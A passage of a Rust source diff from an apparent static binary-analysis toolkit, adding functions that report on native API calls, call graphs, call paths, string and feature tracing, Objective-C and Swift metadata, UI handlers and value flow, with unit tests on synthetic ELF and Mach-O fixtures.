dispatch. +pub fn native_api(prog: &Program, f: &Function, names: Names<'_>) -> Report { + let mut by_cat: BTreeMap<&str, Vec> = BTreeMap::new(); + let mut internal = Vec::new(); + let mut indirect = Vec::new(); + for c in prog.callees(f) { + match (&c.name, c.import || prog.functions.get(&c.target.unwrap_or(0)).is_some_and(|x| x.thunk_of.is_some())) { + (Some(n), true) => { + let lib = prog.import_slots.values().find(|s| s.name == *n).and_then(|s| s.library.clone()); + by_cat.entry(api_category(n)).or_default().push(json!({"site": hex(c.site), "name": n, "library": lib})); + } + (_, _) if c.indirect => indirect.push(json!({"site": hex(c.site)})), + _ => internal.push(json!({"site": hex(c.site), "target": c.target.map(hex), "name": c.target.map(|t| fname(prog, names, t))})), + } + } + let n_api: usize = by_cat.values().map(Vec::len).sum(); + let result = json!({ + "function": fname(prog, names, f.entry), + "entry": hex(f.entry), + "api_calls_by_category": by_cat, + "internal_calls": internal, + "unresolved_indirect_calls": indirect, + "jump_tables": f.jump_tables, + "unresolved_indirect_jumps": f.unresolved_indirect_jumps, + }); + let summary = format!( + "{} makes {n_api} calls into system or library APIs, {} internal calls and {} unresolved indirect calls.", + fname(prog, names, f.entry), + internal.len(), + indirect.len() + ); + let mut r = Report::new(result, summary, Confidence::Derived); + if !indirect.is_empty() { + r = r.limit("indirect_calls_unresolved", "calls through registers or tables were not resolved statically"); + } + r.locations.push(Location::address(f.entry)); + r +} + +/// Everything about one function. +pub fn dossier(img: &Image, prog: &Program, f: &Function, names: Names<'_>) -> Report { + let pseudo = lift(img, prog, f, names); + let asm: Vec = prog.instructions(img, f, true).iter().map(|i| json!({"address": hex(i.addr), "text": i.text()})).collect(); + let du = def_use(img, prog, f, 5000, 12000); + let api = native_api(prog, f, names); + let unresolved: Vec = f.calls.iter().filter(|c| c.target.is_none() && c.import.is_none()).map(|c| json!({"site": hex(c.site)})).collect(); + let referenced_names: Vec = refs(prog, f, names, true).into_iter().filter(|r| !r["name"].is_null()).collect(); + let result = json!({ + "function": function_info(prog, f, names), + "pseudocode": pseudo.text, + "signature": pseudo.signature, + "assembly": asm, + "basic_blocks": f.blocks, + "callers": callers(prog, f, names), + "callees": callees(prog, f, names), + "incoming_references": refs(prog, f, names, false), + "outgoing_references": refs(prog, f, names, true), + "unresolved_calls": unresolved, + "referenced_strings": strings_used(prog, f), + "referenced_names": referenced_names, + "native_api": api.result, + "flow_summary": {"parameters": du.parameters, "nodes": du.nodes.len(), "edges": du.edges.len(), "effects": du.effects.len(), "truncated": du.truncated}, + "flow_nodes": du.nodes, + "flow_edges": du.edges, + "flow_effects": du.effects, + "flow_parameters": du.parameters, + "flow_parameter_uses": du.parameter_uses, + "comments": [], + }); + let summary = format!( + "{} at {:#x}: {} blocks, {} instructions, calls {} functions, called from {} places, uses {} strings.", + fname(prog, names, f.entry), + f.entry, + f.blocks.len(), + f.insn_count, + f.calls.len(), + prog.callers(f.entry).len(), + result["referenced_strings"].as_array().map(Vec::len).unwrap_or(0) + ); + let mut r = Report::new(result, summary, Confidence::Inferred); + r.limitations = pseudo.limitations.iter().map(|(c, m)| Limitation::new(c.clone(), m.clone())).collect(); + r.limitations.push(Limitation::new("pseudo_code_inferred", "the pseudo-C is a reading aid built by the clean-room lifter, not compiler output")); + r.locations.push(Location::address(f.entry).with_label(fname(prog, names, f.entry))); + r +} + +// --------------------------------------------------------------------------------------------- +// Call graph and paths + +fn neighbours(prog: &Program, entry: u64, forward: bool) -> Vec<(u64, Option, String)> { + // (site, function entry or None for imports, label) + if forward { + let Some(f) = prog.functions.get(&entry) else { return Vec::new() }; + prog.callees(f) + .into_iter() + .filter_map(|c| match (c.target, c.import, &c.name) { + (Some(t), _, _) if prog.functions.contains_key(&t) => Some((c.site, Some(t), c.name.clone().unwrap_or_default())), + (_, true, Some(n)) => Some((c.site, None, n.clone())), + _ => None, + }) + .collect() + } else { + prog.callers(entry).into_iter().filter_map(|(site, f)| f.map(|f| (site, Some(f), String::new()))).collect() + } +} + +/// Callers or callees by depth, bounded. +pub fn call_graph(prog: &Program, start: u64, forward: bool, max_depth: usize, max_nodes: usize, names: Names<'_>) -> Report { + let mut levels: BTreeMap> = BTreeMap::new(); + let mut edges = Vec::new(); + let mut seen: BTreeSet = BTreeSet::from([start]); + let mut seen_imports: BTreeSet = BTreeSet::new(); + let mut q = VecDeque::from([(start, 0usize)]); + let mut truncated = false; + let mut limitations = Vec::new(); + while let Some((cur, d)) = q.pop_front() { + if d >= max_depth { + if !neighbours(prog, cur, forward).is_empty() { + truncated = true; + } + continue; + } + for (site, n, label) in neighbours(prog, cur, forward) { + let (from, to) = if forward { (cur, n) } else { (n.unwrap_or(0), Some(cur)) }; + edges.push(json!({"site": hex(site), "from": hex(from), "to": to.map(hex), "to_import": if n.is_none() { Some(label.clone()) } else { None }})); + match n { + Some(n) => { + if seen.len() >= max_nodes { + truncated = true; + continue; + } + if seen.insert(n) { + levels.entry(d + 1).or_default().push(json!({"address": hex(n), "name": fname(prog, names, n)})); + q.push_back((n, d + 1)); + } + } + None => { + if seen_imports.insert(label.clone()) { + levels.entry(d + 1).or_default().push(json!({"import": label})); + } + } + } + } + } + if truncated { + limitations.push(Limitation::new("truncated", format!("stopped at depth {max_depth} or {max_nodes} functions"))); + } + limitations.push(Limitation::new("direct_calls_only", "only statically resolved calls are followed; calls through pointers are not")); + let total: usize = levels.values().map(Vec::len).sum(); + let result = json!({ + "root": {"address": hex(start), "name": fname(prog, names, start)}, + "direction": if forward { "forward" } else { "backward" }, + "levels": levels.iter().map(|(d, v)| (d.to_string(), json!(v))).collect::>(), + "edges": edges, + "truncated": truncated, + "limitations": limitations.iter().map(|l| l.message.clone()).collect::>(), + }); + let summary = format!( + "{} {} {total} functions and imports (within {} levels).", + fname(prog, names, start), + if forward { "reaches" } else { "is reached from" }, + levels.len() + ); + let mut r = Report::new(result, summary, Confidence::Derived); + r.limitations = limitations; + r.locations.push(Location::address(start)); + r +} + +/// Where a call path should end: a function, or (forward only) a call to an import. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +pub enum Goal<'a> { + Function(u64), + Import(&'a str), +} + +/// Shortest direct-call path from `start` to `goal`. +pub fn call_path(prog: &Program, start: u64, goal: Option>, forward: bool, names: Names<'_>) -> Report { + const MAX_VISIT: usize = 100_000; + let is_goal_fn = |a: u64| goal == Some(Goal::Function(a)); + let mut prev: BTreeMap = BTreeMap::new(); + let mut seen = BTreeSet::from([start]); + let mut q = VecDeque::from([start]); + let mut found = is_goal_fn(start); + // (caller, call site) of the import call that ends the path. + let mut import_hit = None; + let mut truncated = false; + while let Some(cur) = q.pop_front() { + if found { + break; + } + for (site, n, label) in neighbours(prog, cur, forward) { + let Some(n) = n else { + if let Some(Goal::Import(g)) = goal + && label.eq_ignore_ascii_case(g) + { + import_hit = Some((cur, site)); + found = true; + break; + } + continue; + }; + if seen.len() >= MAX_VISIT { + truncated = true; + break; + } + if seen.insert(n) { + prev.insert(n, (cur, site)); + if is_goal_fn(n) { + found = true; + break; + } + q.push_back(n); + } + } + } + let goal_name = |g: Goal<'_>| match g { + Goal::Function(a) => fname(prog, names, a), + Goal::Import(n) => n.to_string(), + }; + let mut residual = Vec::new(); + let (status, path) = match goal { + Some(g) if found => { + let mut path = Vec::new(); + let mut cur = start; + if let (Goal::Import(n), Some((caller, site))) = (g, import_hit) { + path.push(json!({"name": n, "import": true})); + path.push(json!({"address": hex(caller), "name": fname(prog, names, caller), "call_site": hex(site)})); + cur = caller; + } else if let Goal::Function(a) = g { + path.push(json!({"address": hex(a), "name": fname(prog, names, a)})); + cur = a; + } + while let Some(&(p, site)) = prev.get(&cur) { + path.push(json!({"address": hex(p), "name": fname(prog, names, p), "call_site": hex(site)})); + cur = p; + if path.len() > 10_000 { + break; + } + } + path.reverse(); + ("reached", path) + } + Some(_) => { + residual.push("no direct-call path found; the link may go through function pointers, callbacks, virtual calls or another thread".to_string()); + ("not_reached", Vec::new()) + } + None => ("no_goal", seen.iter().take(500).map(|a| json!({"address": hex(*a), "name": fname(prog, names, *a)})).collect()), + }; + let unresolved: usize = + seen.iter().filter_map(|a| prog.functions.get(a)).map(|f| f.calls.iter().filter(|c| c.target.is_none() && c.import.is_none()).count()).sum(); + if unresolved > 0 { + residual.push(format!("{unresolved} indirect calls on the way were not followed")); + } + let result = json!({ + "start": {"address": hex(start), "name": fname(prog, names, start)}, + "goal": goal.map(|g| match g { + Goal::Function(a) => json!({"address": hex(a), "name": fname(prog, names, a)}), + Goal::Import(n) => json!({"name": n, "import": true}), + }), + "direction": if forward { "forward" } else { "backward" }, + "goal_result": status, + "path": path, + "visited": seen.len(), + "still_unknown": residual, + "truncated": truncated, + }); + let summary = match status { + "reached" => format!("{} reaches {} in {} calls.", fname(prog, names, start), goal.map(goal_name).unwrap_or_default(), path.len().saturating_sub(1)), + "not_reached" => { + format!("No direct-call path from {} to {} (absence is not proof).", fname(prog, names, start), goal.map(goal_name).unwrap_or_default()) + } + _ => format!("{} reaches {} functions.", fname(prog, names, start), seen.len().saturating_sub(1)), + }; + let mut r = Report::new(result, summary, Confidence::Derived).limit("direct_calls_only", "only statically resolved calls are followed"); + r.locations.push(Location::address(start)); + if let Some(Goal::Function(a)) = goal { + r.locations.push(Location::address(a)); + } + r +} + +// --------------------------------------------------------------------------------------------- +// Feature tracing and name lookups + +fn matches(hay: &str, needle: &str, case_sensitive: bool) -> bool { + if case_sensitive { hay.contains(needle) } else { hay.to_lowercase().contains(&needle.to_lowercase()) } +} + +/// Literal query → strings, functions and imports that match, and the code using them. +pub fn feature_paths(prog: &Program, query: &str, case_sensitive: bool, names: Names<'_>) -> Report { + const CAP: usize = 200; + let mut strings = Vec::new(); + let mut containing: BTreeMap> = BTreeMap::new(); + let mut matching_strings = 0; + for s in prog.strings.iter().filter(|s| matches(&s.text, query, case_sensitive)) { + matching_strings += 1; + if strings.len() < CAP { + let users: Vec = prog + .xrefs_to + .get(&s.addr) + .map(|xs| { + xs.iter() + .take(64) + .map(|x| { + let f = prog.function_containing(x.from); + if let Some(f) = f { + containing.entry(f.entry).or_default().push(format!("uses string \"{}\"", s.text.chars().take(60).collect::())); + } + json!({"from": hex(x.from), "kind": x.kind, "function": f.map(|f| fname(prog, names, f.entry))}) + }) + .collect() + }) + .unwrap_or_default(); + strings.push(json!({"address": hex(s.addr), "text": s.text, "references": users})); + } + } + let mut procs = Vec::new(); + let mut matching_functions = 0; + for f in prog.functions.values() { + let n = fname(prog, names, f.entry); + if matches(&n, query, case_sensitive) { + matching_functions += 1; + containing.entry(f.entry).or_default().push("name matches".into()); + if procs.len() < CAP { + procs.push(json!({"address": hex(f.entry), "name": n})); + } + } + } + let mut imports = Vec::new(); + let mut matching_imports = 0; + for (slot, s) in prog.import_slots.iter().filter(|(_, s)| matches(&s.name, query, case_sensitive)) { + matching_imports += 1; + if imports.len() < CAP { + let users: Vec = prog + .xrefs_to + .get(slot) + .map(|xs| { + xs.iter() + .take(64) + .filter_map(|x| prog.function_containing(x.from)) + .map(|f| json!({"function": fname(prog, names, f.entry), "address": hex(f.entry)})) + .collect() + }) + .unwrap_or_default(); + for u in &users { + if let Some(a) = u["address"].as_str().and_then(|a| u64::from_str_radix(a.trim_start_matches("0x"), 16).ok()) { + containing.entry(a).or_default().push(format!("calls {}", s.name)); + } + } + imports.push(json!({"slot": hex(*slot), "name": s.name, "library": s.library, "used_by": users})); + } + } + let funcs: Vec = containing.iter().take(CAP).map(|(a, why)| json!({"address": hex(*a), "name": fname(prog, names, *a), "why": why})).collect(); + let summary = format!( + "\"{query}\": {} matching strings, {} matching function names, {} matching imports; {} functions involved.", + matching_strings, + matching_functions, + matching_imports, + containing.len() + ); + let locations: Vec = containing.keys().take(50).map(|a| Location::address(*a)).collect(); + let truncated = matching_strings > CAP || matching_functions > CAP || matching_imports > CAP || containing.len() > CAP; + let result = json!({"query": query, "case_sensitive": case_sensitive, "strings": strings, "function_names": procs, "imports": imports, "functions": funcs, "truncated": truncated}); + let mut r = Report::new(result, summary, Confidence::Derived); + r.locations = locations; + if truncated { + r = r.limit("truncated", format!("results capped at {CAP} entries per category")); + } + if containing.is_empty() { + r = r.limit("no_match", "nothing matched; the text may be built at run time, encrypted, or come from a resource file (absence is not proof)"); + } + r +} + +/// Resolve a name (function, data symbol, import) to its address. +pub fn resolve_name(prog: &Program, user: &BTreeMap, name: &str) -> Option { + if let Some((a, _)) = user.iter().find(|(_, n)| n.as_str() == name) { + return Some(*a); + } + if let Some(f) = prog.function_by_name(name) { + return Some(f.entry); + } + if let Some((a, _)) = prog.data_names.iter().find(|(_, n)| n.as_str() == name) { + return Some(*a); + } + prog.import_slots + .iter() + .find(|(_, s)| s.name == name || craft_anything_disasm::slot_label(s) == name || s.name.trim_start_matches('_') == name) + .map(|(a, _)| *a) +} + +pub fn xrefs_to_name(prog: &Program, user: &BTreeMap, name: &str, names: Names<'_>) -> Report { + let Some(addr) = resolve_name(prog, user, name) else { + let r = Report::new( + json!({"name": name, "found": false, "reason": "name_not_found", "references": []}), + format!("No function, symbol or import is named {name}."), + Confidence::Derived, + ); + return r.limit("name_not_found", "check the spelling with native_named_addresses_list or native_functions_search"); + }; + let mut targets = vec![addr]; + // Calls to an import also go through its stub. + if let Some(s) = prog.import_slots.get(&addr) { + targets.extend(prog.functions.values().filter(|f| f.thunk_of.as_deref() == Some(s.name.as_str())).map(|f| f.entry)); + targets.extend(prog.import_slots.iter().filter(|(_, x)| x.name == s.name).map(|(a, _)| *a)); + } + targets.sort_unstable(); + targets.dedup(); + let mut refs = Vec::new(); + for t in &targets { + for x in prog.xrefs_to.get(t).map(Vec::as_slice).unwrap_or(&[]) { + refs.push(json!({"from": hex(x.from), "to": hex(x.to), "kind": x.kind, "function": prog.function_containing(x.from).map(|f| fname(prog, names, f.entry))})); + } + } + let summary = format!("{name} ({addr:#x}) is referenced from {} places.", refs.len()); + let mut r = Report::new( + json!({"name": name, "found": true, "address": hex(addr), "also_via": targets.iter().filter(|t| **t != addr).map(|t| hex(*t)).collect::>(), "references": refs}), + summary, + Confidence::Derived, + ); + r.locations.push(Location::address(addr).with_label(name)); + r +} + +// --------------------------------------------------------------------------------------------- +// Objective-C and Swift + +fn glob_like(name: &str, pattern: &str) -> bool { + pattern.is_empty() || name.to_lowercase().contains(&pattern.to_lowercase()) +} + +pub fn objc_classes(img: &Image, pattern: &str) -> Report { + let meta = craft_anything_formats::macho::objc_metadata(&img.data, &img.bin); + let mut labels: Vec = meta + .classes + .iter() + .map(|c| match &c.category { + Some(cat) => format!("{}({cat})", c.name), + None => c.name.clone(), + }) + .filter(|n| glob_like(n, pattern)) + .collect(); + labels.sort(); + labels.dedup(); + let classes: Vec = meta + .classes + .iter() + .filter(|c| glob_like(&c.name, pattern)) + .map(|c| json!({"name": c.name, "category": c.category, "address": hex(c.addr), "superclass": c.superclass, "swift": c.swift, "methods": c.methods.len()})) + .collect(); + let summary = + format!("{} Objective-C classes and categories{}.", labels.len(), if pattern.is_empty() { String::new() } else { format!(" matching \"{pattern}\"") }); + let mut r = Report::new(json!({"classes": labels, "details": classes}), summary, Confidence::Observed); + if img.bin.format != Format::MachO { + r = r.limit("not_macho", "Objective-C metadata only exists in Mach-O images"); + } + r.limitations.extend(meta.warnings.iter().take(20).map(|w| Limitation::new("objc_parse", w.clone()))); + r.limitations.push(Limitation::new("static_metadata_only", "classes registered at run time (objc_allocateClassPair) are not listed")); + r +} + +pub fn objc_protocols(img: &Image) -> Report { + let meta = craft_anything_formats::macho::objc_metadata(&img.data, &img.bin); + let mut protocols: Vec = meta.protocols.iter().map(|p| json!({"name": p.name, "address": hex(p.addr), "methods": p.methods})).collect(); + // Swift protocol descriptors from symbols. + let swift: BTreeSet = + img.bin.symbols.iter().filter_map(|s| craft_anything_formats::swift::classify(&s.name)).filter(|c| c.category == "protocols").map(|c| c.path).collect(); + for s in &swift { + protocols.push(json!({"name": s, "swift": true})); + } + let summary = format!("{} Objective-C protocols and {} Swift protocols.", meta.protocols.len(), swift.len()); + let mut r = Report::new(json!({"protocols": protocols}), summary, Confidence::Observed); + if img.bin.format != Format::MachO { + r = r.limit("not_macho", "Objective-C metadata only exists in Mach-O images"); + } + r +} + +pub fn swift_types(bin: &Binary, category: Option<&str>, pattern: Option<&str>) -> Report { + let mut groups: BTreeMap<&str, BTreeMap>> = BTreeMap::new(); + let mut total = 0usize; + for s in &bin.symbols { + let Some(c) = craft_anything_formats::swift::classify(&s.name) else { continue }; + if category.is_some_and(|cat| cat != c.category) || pattern.is_some_and(|p| !glob_like(&c.path, p)) { + continue; + } + total += 1; + let roles = groups.entry(c.category).or_default().entry(c.path.clone()).or_default(); + if roles.len() < 16 && !roles.contains(&c.role.to_string()) { + roles.push(c.role.into()); + } + } + let counts: BTreeMap<&str, usize> = groups.iter().map(|(k, v)| (*k, v.len())).collect(); + let summary = format!("{total} Swift symbols describing {} types.", counts.values().sum::()); + let mut r = Report::new(json!({"counts": counts, "types": groups, "symbols_examined": bin.symbols.len()}), summary, Confidence::Inferred); + r.limitations.push(Limitation::new( + "mangling_heuristic", + "types are classified from the mangled names without a full demangler; nested generic types may be misfiled", + )); + if bin.mitigations.stripped { + r.limitations.push(Limitation::new("stripped_binary", "stripped images keep few Swift symbols")); + } + r +} + +pub fn dispatch_metadata(img: &Image, prog: &Program, max_records: usize, names: Names<'_>) -> Report { + let meta = craft_anything_formats::macho::objc_metadata(&img.data, &img.bin); + let mut records = Vec::new(); + 'outer: for c in &meta.classes { + for m in &c.methods { + if records.len() >= max_records { + break 'outer; + } + records.push(json!({ + "kind": "objc_method", + "class": c.name, + "category": c.category, + "selector": m.selector, + "method_kind": m.kind, + "types": m.types, + "implementation": m.imp.map(hex), + "implementation_name": m.imp.map(|a| fname(prog, names, a)), + })); + } + } + for s in &img.bin.symbols { + if records.len() >= max_records { + break; + } + if let Some(c) = craft_anything_formats::swift::classify(&s.name) + && matches!(c.role, "Objective-C thunk" | "protocol witness table" | "metadata accessor") + { + records.push(json!({"kind": "swift_symbol", "symbol": s.name, "type": c.path, "role": c.role, "address": hex(s.addr)})); + } + } + let truncated = records.len() >= max_records; + let summary = format!("{} dispatch records ({} Objective-C classes, {} selectors referenced).", records.len(), meta.classes.len(), meta.selectors.len()); + let mut r = Report::new(json!({"records": records, "selectors_referenced": meta.selectors.len(), "truncated": truncated}), summary, Confidence::Observed); + if truncated { + r = r.limit("truncated", format!("stopped at max_records={max_records}")); + } + r.limitations.push(Limitation::new("symbol_level", "dispatch is read from static metadata and symbols; dynamic method resolution is not modelled")); + r +} + +/// UI action / selector → handlers → static calls. +pub fn ui_action(img: &Image, prog: &Program, action: &str, max_depth: usize, max_nodes: usize, max_edges: usize, names: Names<'_>) -> Report { + let meta = craft_anything_formats::macho::objc_metadata(&img.data, &img.bin); + let mut handlers: Vec<(u64, String)> = Vec::new(); + for c in &meta.classes { + for m in &c.methods { + if (m.selector == action || m.selector.trim_end_matches(':') == action.trim_end_matches(':') || glob_like(&m.selector, action)) + && let Some(imp) = m.imp + { + handlers.push((imp, format!("{}[{} {}] (Objective-C method)", m.kind, c.name, m.selector))); + } + } + } + for f in prog.functions.values() { + let n = fname(prog, names, f.entry); + if glob_like(&n, action) && !handlers.iter().any(|(a, _)| *a == f.entry) { + handlers.push((f.entry, format!("{n} (name matches)"))); + } + } + // Code that references the action as a string (selector registration, command tables). + for s in prog.strings.iter().filter(|s| s.text == action || s.text.trim_end_matches(':') == action.trim_end_matches(':')) { + for x in prog.xrefs_to.get(&s.addr).map(Vec::as_slice).unwrap_or(&[]) { + if let Some(f) = prog.function_containing(x.from) + && !handlers.iter().any(|(a, _)| *a == f.entry) + { + handlers.push((f.entry, format!("{} (uses the string \"{}\")", fname(prog, names, f.entry), s.text))); + } + } + } + handlers.truncate(max_nodes); + let mut nodes: BTreeMap = BTreeMap::new(); + let mut edges: Vec = Vec::new(); + let mut truncated = false; + let mut q: VecDeque<(u64, usize)> = VecDeque::new(); + for (a, why) in &handlers { + nodes.insert(*a, json!({"address": hex(*a), "name": fname(prog, names, *a), "depth": 0, "role": "handler", "why": why})); + q.push_back((*a, 0)); + } + while let Some((cur, d)) = q.pop_front() { + if d >= max_depth { + continue; + } + let Some(f) = prog.functions.get(&cur) else { continue }; + for c in prog.callees(f) { + if edges.len() >= max_edges { + truncated = true; + break; + } + edges.push(json!({"from": hex(cur), "site": hex(c.site), "to": c.target.map(hex), "name": c.target.and_then(names).or(c.name.clone()), "import": c.import})); + if let Some(t) = c.target.filter(|t| prog.functions.contains_key(t)) { + if nodes.len() >= max_nodes { + truncated = true; + continue; + } + if let std::collections::btree_map::Entry::Vacant(e) = nodes.entry(t) { + e.insert(json!({"address": hex(t), "name": fname(prog, names, t), "depth": d + 1, "role": "callee"})); + q.push_back((t, d + 1)); + } + } + } + } + let summary = if handlers.is_empty() { + format!("No handler found for \"{action}\" (absence is not proof).") + } else { + format!("\"{action}\": {} handlers reaching {} functions through {} static calls.", handlers.len(), nodes.len(), edges.len()) + }; + let mut r = Report::new( + json!({"action": action, "handlers": handlers.iter().map(|(a, w)| json!({"address": hex(*a), "why": w})).collect::>(), "nodes": nodes.into_values().collect::>(), "edges": edges, "truncated": truncated}), + summary, + Confidence::Inferred, + ); + r.limitations.push(Limitation::new( + "best_effort", + "handlers are matched by selector, name or string; target-action wiring in nib/storyboard files and run-time registration are not followed", + )); + r.limitations.push(Limitation::new("direct_calls_only", "objc_msgSend and other dynamic dispatch is not resolved to its receiver")); + if truncated { + r.limitations.push(Limitation::new("truncated", "hit max_nodes or max_edges")); + } + r.locations = handlers.iter().take(50).map(|(a, _)| Location::address(*a)).collect(); + r +} + +// --------------------------------------------------------------------------------------------- +// Value flow + +pub struct ValueTraceOpts { + pub max_depth: usize, + pub max_functions: usize, + pub max_call_sites: usize, + pub max_nodes: usize, + pub max_edges: usize, + pub offset: usize, + pub limit: usize, +} + +pub fn value_trace(img: &Image, prog: &Program, f: &Function, o: &ValueTraceOpts, names: Names<'_>) -> Report { + let du = def_use(img, prog, f, o.max_nodes, o.max_edges); + // Follow calls: which callees receive values (bounded). + let mut functions = vec![json!({"address": hex(f.entry), "name": fname(prog, names, f.entry), "depth": 0, "parameters": du.parameters})]; + let mut seen = BTreeSet::from([f.entry]); + let mut q = VecDeque::from([(f.entry, 0usize)]); + let mut sites = 0usize; + let mut call_args = Vec::new(); + while let Some((cur, d)) = q.pop_front() { + if d >= o.max_depth || functions.len() >= o.max_functions { + continue; + } + let Some(cf) = prog.functions.get(&cur) else { continue }; + for c in &cf.calls { + if sites >= o.max_call_sites { + break; + } + sites += 1; + if let Some(t) = c.target.filter(|t| prog.functions.contains_key(t)) + && functions.len() < o.max_functions + && seen.insert(t) + && let Some(tf) = prog.functions.get(&t) + { + let tdu = def_use(img, prog, tf, o.max_nodes.min(2000), o.max_edges.min(4000)); + call_args.push(json!({"site": hex(c.site), "callee": fname(prog, names, t), "callee_parameters": tdu.parameters})); + functions.push(json!({"address": hex(t), "name": fname(prog, names, t), "depth": d + 1, "parameters": tdu.parameters})); + q.push_back((t, d + 1)); + } + } + } + let total = du.nodes.len(); + let page: Vec<_> = du.nodes.iter().skip(o.offset).take(o.limit).collect(); + let ids: BTreeSet = page.iter().map(|n| n.id).collect(); + let page_edges: Vec<_> = du.edges.iter().filter(|e| ids.contains(&e.to) || ids.contains(&e.from)).collect(); + let next = (o.offset + page.len() < total).then_some(o.offset + page.len()); + let summary = format!( + "{}: {} operations, {} def-use edges, parameters {:?}, {} side effects; followed {} callees.", + fname(prog, names, f.entry), + total, + du.edges.len(), + du.parameters, + du.effects.len(), + functions.len() - 1 + ); + let result = json!({ + "function": {"address": hex(f.entry), "name": fname(prog, names, f.entry)}, + "parameters": du.parameters, + "parameter_uses": du.parameter_uses, + "effects": du.effects, + "nodes": page, + "edges": page_edges, + "functions": functions, + "call_arguments": call_args, + "page": {"offset": o.offset, "limit": o.limit, "total": total, "next_offset": next}, + "truncated": du.truncated, + }); + let mut r = Report::new(result, summary, Confidence::Derived); + r.limitations.push(Limitation::new("register_level", "values are tracked through registers only; memory and stack slots are not followed")); + if du.truncated { + r.limitations.push(Limitation::new("truncated", "hit max_nodes or max_edges")); + } + r.locations.push(Location::address(f.entry)); + r +} + +#[cfg(test)] +mod tests { + use super::*; + use craft_anything_disasm::{Limits, NoControl}; + use craft_anything_testkit as tk; + use std::sync::Arc; + + fn setup(bytes: Vec) -> (Image, Program) { + let img = Image::parse(Arc::from(bytes)).unwrap(); + let p = Program::analyze(&img, &Limits::default(), &NoControl).unwrap(); + (img, p) + } + + #[test] + fn triage_does_not_call_go_or_dotnet_stripped() { + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, false); + let bin = craft_anything_formats::parse_binary(&elf).unwrap(); + assert!(bin.mitigations.stripped); + let plain = triage(&bin, &elf, "s"); + assert!(plain.summary.contains("(stripped)"), "{}", plain.summary); + assert_eq!(plain.result["stripped"], true); + + let mut go = elf.clone(); + go.extend_from_slice(b"\xff Go buildinf:\x08\x02go1.22.3\0"); + let t = triage(&bin, &go, "g"); + assert!(!t.summary.contains("(stripped)"), "{}", t.summary); + assert!(t.summary.contains("pclntab"), "{}", t.summary); + assert_eq!(t.result["stripped"], false); + assert_eq!(t.result["symbol_table_stripped"], true); + + let mut net = bin.clone(); + net.info.insert("dotnet".into(), "v4.0.30319".into()); + let t = triage(&net, &elf, "n"); + assert!(!t.summary.contains("(stripped)"), "{}", t.summary); + assert!(t.summary.contains(".NET metadata"), "{}", t.summary); + } + + #[test] + fn triage_calls_an_anycpu_assembly_any_cpu_not_32_bit() { + let data = tk::managed::managed_assembly(1); + let bin = craft_anything_formats::parse_binary(&data).unwrap(); + assert_eq!(bin.bits, 32, "the PE header itself is PE32"); + let t = triage(&bin, &data, "Sample.dll"); + assert_eq!(t.result["dotnet_arch"], "anycpu"); + assert!(t.summary.contains("any CPU") && !t.summary.contains("32-bit"), "{}", t.summary); + } + + #[test] + fn calls_out_counts_tail_calls() { + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, true); + let (_, p) = setup(elf); + let none = |_: u64| None; + let mut main = p.function_by_name("main").unwrap().clone(); + let before = function_info(&p, &main, &none)["calls_out"].as_u64().unwrap(); + main.tail_calls.push(p.function_by_name("helper").unwrap().entry); + let info = function_info(&p, &main, &none); + assert_eq!(info["calls_out"].as_u64().unwrap(), before + 1); + assert_eq!(info["tail_calls"], 1); + } + + #[test] + fn workflows_on_elf() { + let (elf, l) = tk::elf64(tk::ElfArch::X86_64, true); + let (img, p) = setup(elf); + let none = |_: u64| None; + let t = triage(&img.bin, &img.data, "sample"); + assert!(t.summary.contains("Linux"), "{}", t.summary); + let o = overview(&img, &p, "sample"); + assert_eq!(o.result["counts"]["functions"], 4); + let main = p.function_by_name("main").unwrap(); + let d = dossier(&img, &p, main, &none); + assert!(d.result["pseudocode"].as_str().unwrap().contains("puts")); + assert_eq!(d.result["referenced_strings"][0]["text"], tk::HELLO); + let g = call_graph(&p, main.entry, true, 3, 100, &none); + assert!(g.result["levels"]["1"].as_array().unwrap().len() >= 3); + let helper = p.function_by_name("helper").unwrap(); + let path = call_path(&p, main.entry, Some(Goal::Function(helper.entry)), true, &none); + assert_eq!(path.result["goal_result"], "reached"); + let back = call_path(&p, helper.entry, Some(Goal::Function(main.entry)), true, &none); + assert_eq!(back.result["goal_result"], "not_reached"); + // An import is a goal too: main calls puts. + let imp = call_path(&p, main.entry, Some(Goal::Import("PUTS")), true, &none); + assert_eq!(imp.result["goal_result"], "reached", "{}", imp.summary); + let steps = imp.result["path"].as_array().unwrap(); + assert_eq!(steps.first().unwrap()["name"], "main"); + assert_eq!(steps.last().unwrap()["import"], true); + assert_eq!(imp.result["goal"]["import"], true); + let none_such = call_path(&p, main.entry, Some(Goal::Import("CreateWindowExW")), true, &none); + assert_eq!(none_such.result["goal_result"], "not_reached"); + let tf = feature_paths(&p, "settings", false, &none); + assert_eq!(tf.result["functions"][0]["address"], format!("{:#x}", l.code_va + tk::x64::HIDDEN)); + let x = xrefs_to_name(&p, &BTreeMap::new(), "puts", &none); + assert_eq!(x.result["found"], true); + assert!(!x.result["references"].as_array().unwrap().is_empty()); + let missing = xrefs_to_name(&p, &BTreeMap::new(), "nope", &none); + assert_eq!(missing.result["reason"], "name_not_found"); + let api = native_api(&p, main, &none); + assert_eq!(api.result["api_calls_by_category"]["text"][0]["name"], "puts"); + let v = value_trace( + &img, + &p, + main, + &ValueTraceOpts { max_depth: 2, max_functions: 8, max_call_sites: 64, max_nodes: 500, max_edges: 1000, offset: 0, limit: 5 }, + &none, + ); + assert_eq!(v.result["nodes"].as_array().unwrap().len(), 5); + assert!(v.result["page"]["next_offset"].is_number()); + } + + #[test] + fn apple_workflows() { + let (img, p) = setup(tk::macho64()); + let none = |_: u64| None; + let c = objc_classes(&img, ""); + assert_eq!(c.result["classes"][0], tk::OBJC_CLASS); + let pr = objc_protocols(&img); + assert_eq!(pr.result["protocols"][0]["name"], tk::OBJC_PROTOCOL); + let d = dispatch_metadata(&img, &p, 100, &none); + assert_eq!(d.result["records"][0]["selector"], tk::OBJC_SELECTOR); + let u = ui_action(&img, &p, "tapButton:", 4, 50, 100, &none); + assert_eq!(u.result["handlers"].as_array().unwrap().len(), 1, "{}", u.result); + assert!(u.summary.contains("1 handlers")); + let s = swift_types(&img.bin, None, None); + assert_eq!(s.result["symbols_examined"], 4); + let t = triage(&img.bin, &img.data, "app"); + assert!(t.result["recommended_toolsets"].as_array().unwrap().iter().any(|x| x == "apple")); + } + + /// #351: feature_paths reports actual matching function count beyond CAP and records truncated limitation. + #[test] + fn feature_paths_reports_accurate_matching_function_count_beyond_cap() { + let names: Vec = 